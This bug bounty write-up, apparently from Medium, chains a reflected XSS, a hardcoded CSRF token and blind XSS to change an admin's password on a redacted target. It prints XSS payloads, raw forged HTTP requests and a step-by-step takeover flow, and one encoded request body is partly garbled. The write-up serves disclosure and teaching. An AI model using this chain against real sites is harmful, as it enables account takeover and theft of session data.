Blind XSS to Account Takeover?

imwaiting18
8 min readMay 16, 2024

--

Hi Everyone, I want to share my recent finding on medium for all the bug bounty hunters and penetration testers. Before we jump into the juicy stuff, beginners go through the following piece of Information.

Open Redirect: An attacker can construct a URL within the vulnerable web application that causes a redirection to an arbitrary external domain i.e. Malicious web application like evil.com.

Blind XSS: B-XSS is a sub-type of stored/persistent cross-site scripting where the web application stores the payload sent by an attacker and only executes it later — at a different time or in a different place, possibly even in another web application.

CSRF: A cross site request forgery attack allows an attacker to perform an action on behalf of the user which they do not intend to.

Keeping the program secret.com. While exploring the web application, I like to keep my burp-suite running so I can collect all the traffic for future analysis.

After exploring for a while, I noticed a request with a RedirectUrl parameter and I started my hunt for Open Redirect. I started passing different host names like evil.com to the parameter and waited for the response. The input was being reflected in the response like,

https://account.secret.com/login/?UserLoggedOut=true&RedirectUrl=/app/evil.com

I quickly logged into my account but I was not redirected to /app/evil.com nor getting a 404 Not Found error. Instead I was on the path https://account.secret.com/app/workspaces.

So after going through a bunch of JavaScript, I learnt how the parameter worked. On login if a user has inject a custom URL in the RedirectUrl parameter, the value gets replaced by /app/workspaces. It was like a prevention.

After login if a user clicks on the link again, they would still be redirected to /app/workspaces. So I gave up on Open Redirect and started looking for Reflected-XSS on the parameter. I supplied a bunch of HTML and JavaScript payloads like <script> and <img> tags but I was only getting reflection in the path of URL.

To break out of the URL I decided to do something smart for once. I supplied an Additional parameter to the URL like

https://account.secret.com?RedirectUrl=/app/workspaces?RedirectUrl=abcd<img src=x onerror=alert(1)>

It escaped the Parameter and was now part of the Web page. I usually hunt for XSS in burp suite repeater so on seeing my payload being reflected back to me, I quickly copied the URL to see my popup and to my surprise I had no pop up.

P.S. my session had run out and the repeater was being treated like an Unauthenticated user.

I was logged into my account and the RedirectUrl was being defaulted to /app/workspace. I tried the payload on a different browser with different account but still got the same response. I logged out of my account and then pasted the URL and to my surprise it worked.

https://account.secret.com/login/?UserLoggedOut=true&RedirectUrl=/app/workspaces?RedirectUrl=abcd<img src=x onerror=alert(1)>

I was happy with the alert popup but I quickly realized that it was just a P3 Reflected-XSS that had very low impact. I kept trying to execute the payload while the user was logged in but I had no luck with it.

Just to make sure, I executed alert(document.cookie) payload and though it worked the main session handling cookie was invalidated when a user was logged out and had an HTTPOnly flag set. This flag is used to prevent vulnerabilities like XSS from stealing session cookies. So I reported the Reflected XSS as it is with some not so convincing impact like taking control of the page of the user, manipulating JavaScript etc.

I kept looking for ways to exploit the user and that’s when I noticed something weird. I saw in the JavaScript that the web application had hardcoded a User’s CSRF Token.

let Email = $('#Email').val();
let Password = $('#Password').val();
const CsrfToken = '1_v7chmmhxvdd3cy0';

I quickly logged into my account to find out that my token had stayed the same. I realized that I could steal this token using my XSS. So I started doing a bunch of stuff like calling the parameter using DOM while taking help from ChatGPT, but I was missing an easy exploit in the process.

After working my brain for hours, it decided to remind me of Blind XSS.

ohhhhhhh

Yes, I could inject my Blind XSS payload in order to steal the user’s CSRF Token. I crafted my payload and sent to my other browser in a private window.

a good sign

I checked my bxss dashboard and the payload had successfully fired. I had user’s cookies and their CSRF Token. I was very happy with the results. I had already seen how the Token was being used throughout the web app, and I knew what functionalities I wanted to target.

a good sign
  1. Privilege Escalation:

To achieve escalation I needed details, some really important details.

The request to change a user’s permissions from Low to High looked like this:

POST /internal_api/app.php?UserId=992117 HTTP/2
Host: account.secret.com
Cookie: <cookies>
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 913
Origin: https://account.secret.com
Referer: https://account.secret.com/app/Settings/Users
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

ExpectedUserId=992117&Token=1_Owq6c3dd6d9xnxw&Parameters=
$7B%22User
Id%22%3A%22992123%22%2C%22FirstName\22%3A%22Lov%22%2C%22LastName\22%3A%22Priv$22%2C%22Email%22%3A%22porakas314%40
agafx.com%22%2C%22 Is Admin\22%3Afalse%2C%22LimitedUser Permissions 22%3A%5B%7B%22ServiceName÷22%3A%22A11Deletions%22%2C%22ISA llowed%22%3Atrue%7D%5D%2C%22BlockExports%22%3Afalse%2C%22Other User Contact Permissions%22%3A%5B%7B%22 User Id%22%3A%22992117%22 $2C%22Access%22%3A%22None%22%7D%5D%2C%22Contact Permissions%22%3A%5B%7B%22 User Id%22%3A%22992117%22%2C%22Access 22%3A%22Write $22%7D%5D%2C%22Other UserCalendar Permissions%22%3A%5B%7B%22 User Id%22%3A%22992117%22%2C%22Access 22%3A%22None%22%7D%5D%2C%22C
alendar Permissions%22%3A%5B%7B%22UserId%22%3A%22992117%22%2C%22Access 22%3A%22Write%22%7D%5D%2C%22SelectedUsers%22%3A%5B%5D
$2C%22UserFilter%22%3A%22%22%2C%22AccessLevel%22%3A%22Write%22%7D&Function-AdminUpdate User &VersionNumber=3.7.1.17|essionTimeout%22%3A10080%2C%22DateCreated%22%3A%222024-05-02T05%3A21%3A08-04%3A00%22%2C%22DateArchived%22%3Anull%2C%22IsAdmin%22%3Atrue%2C%22IsOwner%22%3Atrue%2C%22BlockExports%22%3Afalse%2C%22LimitedUserPermissions%22%3A%5B%5D%2C%22DateLastActivity%22%3A%222024-05-04T07%3A22%3A25-04%3A00%22%2C%22IsLockedOut%22%3Afalse%2C%22ContactAccess%22%3A%22Write%22%2C%22CalendarAccess%22%3A%22Write%22%2C%22UserAvatarUrl%22%3A%22https%3A%2F%2Fimage-thumbnails.secret.com%2F991064%2FUA%2F200x200%2F1106116369%22%2C%22CanResendWelcomeEmail%22%3Anull%2C%22Timezone%22%3A%22America%2FNew_York%22%7D&Calls%5B0%5D%5BCallbackId%5D=0kt9w0%3cimg%20src%3da%20onerror%3dalert(1)%3edak6grzgwho&VersionNumber=3.7.1.17&Features%5BNewContactSearch%5D=false&Features%5BPdfLambda%5D=false&Features%5BNewApiSearch%5D=false&Features%5B3_9%5D=true&Features%5BLimitContactActivity%5D=false&Features%5BEsPipelineReport%5D=false&Features%5BElasticsearchSoftphone%5D=false&Features%5BPipelineReport_React%5D=true&Features%5BNewBulkActions%5D=false&Features%5BPipelineReportBulkActions%5D=false&Features%5BRichTextContactNotes%5D=false&Features%5B3_9_Welcome_Video%5D=false&Features%5BPaddleBilling%5D=true

Let me decode it for better understanding, I needed the following parameters and their values in order to increase my permissions:

ExpectedUserId: This parameter contained the UserId of the user updating my permissions, so in our case Admin’s UserId.
UserId: UserId of the Low Privileged user whose permissions are being updated.
Email Address: Email Address of the Low Privileged user.
Token: This parameter was responsible for protecting users from CSRF attacks.

Apart from all the parameters, I needed to be part of the Victim portal.

Now that would require further Privileges and User Interaction which could drastically reduce the severity of my bug.

I was not happy with that, so I decided to go with the other Exploit i.e. change the password of the Admin.

2. Change Password:

So on this particular web app, I got lucky. How? The developers were too confident in their CSRF protection, they implemented Change Password functionality like below:

no password confirmation or old password required

I started crafting my malicious HTTP request and I needed the following parameters in order to make my CSRF PoC work.

POST /internal_api/app.php?BatchRequest=true&UserId=992117 HTTP/2
Host: account.secret.com
Cookie: cookies
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://account.secret.com
Referer: https://account.secret.com/app/Settings/Profile
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

ExpectedUserId=991064&Token=1_q70cms8pt55c1cx&Calls%5B0%5D%5BFunction%5D=UpdateUser&Calls%5B0%5D%5BParameters%5D=%7b%22UserId%22%3a%22991064%22%2c%22FirstName%22%3a%22Dummy%22%2c%22LastName%22%3a%22Account%22%2c%22Email%22%3a%22admin@gmail.com%22%2c%22HasGoogleOpenId%22%3afalse%2c%22SessionTimeout%22%3a10080%2c%22DateCreated%22%3a%222024-05-05T12%3a35%3a19-04%3a00%22%2c%22DateArchived%22%3anull%2c%22IsAdmin%22%3atrue%2c%22IsOwner%22%3atrue%2c%22BlockExports%22%3afalse%2c%22LimitedUserPermissions%22%3a%5b%5d%2c%22DateLastActivity%22%3a%222024-05-05T15%3a04%3a42-04%3a00%22%2c%22IsLockedOut%22%3afalse%2c%22ContactAccess%22%3a%22Write%22%2c%22CalendarAccess%22%3a%22Write%22%2c%22UserAvatarUrl%22%3a%22%22%2c%22CanResendWelcomeEmail%22%3anull%2c%22Timezone%22%3a%22America%2fNew_York%22%2c%22NewPassword%22%3a%22Attacker%401234%22%2c%22OldPassword%22%3anull%7d&Calls%5B0%5D%5BCallbackId%5D=0&Calls%5B1%5D%5BFunction%5D=UpdateSessionTimeout&Calls%5B1%5D%5BParameters%5D=%7B%22SessionTimeout%22%3A10080%7D&Calls%5B1%5D%5BCallbackId%5D=1&Calls%5B2%5D%5BFunction%5D=UpdatePassword&Calls%5B2%5D%5BParameters%5D=%7B%22NewPassword%22%3A%22Attacker%401234%22%7D&Calls%5B2%5D%5BCallbackId%5D=2&VersionNumber=3.7.1.17&Features%5BNewContactSearch%5D=false&Features%5BPdfLambda%5D=false&Features%5BNewApiSearch%5D=false&Features%5B3_9%5D=true&Features%5BLimitContactActivity%5D=false&Features%5BEsPipelineReport%5D=false&Features%5BElasticsearchSoftphone%5D=false&Features%5BPipelineReport_React%5D=true&Features%5BNewBulkActions%5D=false&Features%5BPipelineReportBulkActions%5D=false&Features%5BRichTextContactNotes%5D=false&Features%5B3_9_Welcome_Video%5D=false&Features%5BPaddleBilling%5D=true

Just like in the Priv Escalation, I needed the following parameters and their values in order to make my exploit work.

ExpectedUserId: This parameter contained the UserId of the Admin
UserId: UserId of the Admin.
Email Address: Email Address of the Admin.
Token: CSRF Token of the Admin.

I had access to the Admin CSRF Token and I can get the email address by doing some social engineering. How do I get the UserId?
That’s when I noticed something I had received from the Blind XSS exploit.

A CloudFront Policy cookie!

Base64 Encoded cookie

Now how is this helpful in getting UserId? I decoded the cookie and It contained the URL to the Company logo set by the client. The URL structure was something like this,

https://image-thumbnails.secret.com/991064/CL/270x140/1363245553

It belonged to the User who first made the Account so technically it was our Admin UserId.

P.S. If I had stolen cookies of non admin users like developers, they would still have the same URL as the Devs of the vulnerable web app designed a security policy for the S3 bucket content, which is why every user had access to their admin UserId.

Now we have a UserId, Email Address, a CSRF Token, and Motive. We just needed to exploit our User. But before we crafted our PoC, there was a tiny little problem. Our request is a POST based request, now CSRF poc usually work the best with GET based HTTP request. So I simply changed the request method using Burp suite, and generated my CSRF PoC.

I was exhausted

I quickly made a new account and started my attack flow:

  1. Let the user login once, we assume the admin is using their usual browser.
  2. Logout or make them logout, Logout CSRF are out of scope and usually working on every website. I included it in the report just in case devs decided to outplay me. [If not logged out, send URL http://account.secret.com/logout.php]
  3. Send the Blind XSS payload to steal the UserId cookie and CSRF Token.
  4. Craft our malicious HTTP request to perform CSRF.
  5. Serve the request and login as victim.

I had successfully changed the admin password. The reason why I chose change password had one more reason. The web application would sent an email to the admin whenever a user’s permissions were changed, but when a Admin changes their password no Email notifications were sent. This made my attack sneaky. I was very happy with what I had found and I sent over 4 reports and 5 video PoCs to demonstrate my attack.

intial response

I was disappointed to my core. I wrote a big paragraph on why the $100 reward was too low and how long it took me to put all the pieces together. Their second response was:

they just ignored the severity

I sent another huge paragraph explaining why I was asking for so much. They stopped replying to my emails, I waited for 7 days and couldn’t wait any longer. I sent them my PayPal address and they just sent the money without communicating at all.

Regardless, super proud of my finding. Hope this article helps other hackers and hunters.

References:

Thumbnail:

--

--

imwaiting18

Exploring Web3 Blockchain and Smart Contracts Vulnerabilities. Writing about my findings in Web Applications, API and Android